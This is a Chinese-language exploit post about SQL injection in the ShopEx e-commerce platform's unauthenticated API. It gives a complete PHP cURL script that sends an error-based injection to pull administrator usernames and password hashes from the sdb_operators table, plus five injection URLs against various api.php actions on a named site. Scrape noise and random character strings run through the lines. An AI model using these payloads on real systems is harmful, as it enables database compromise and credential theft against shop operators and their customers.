shopEx最新版的API注入漏洞分析附利用exp

admin

缺陷文件：\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php

' L/ ]+ o2 ~4 w& G$ E5 N第44行 $data['columns'] 未做过滤导致注入
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/ s1 E7 ]' i2 U9 H<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证，任何用户都可访问,攻击者可通过它来对产品的分类，类型，规格，品牌等，进行添加，删除和修改，过滤不当还可造成注入.
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注射1：

& K0 f7 Z; N. K& D7 F& B: Yhttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
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+ D* a' m! Q+ }9 k" i) r7 x注射2：
) O) l5 d4 R. `4 Ohttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
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: R* d) Y2 I" I) D7 U! |; U1 e* {$ v  http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
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http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
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注射5：
3 i0 A* g4 w1 w2 L* r6 ^  http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx


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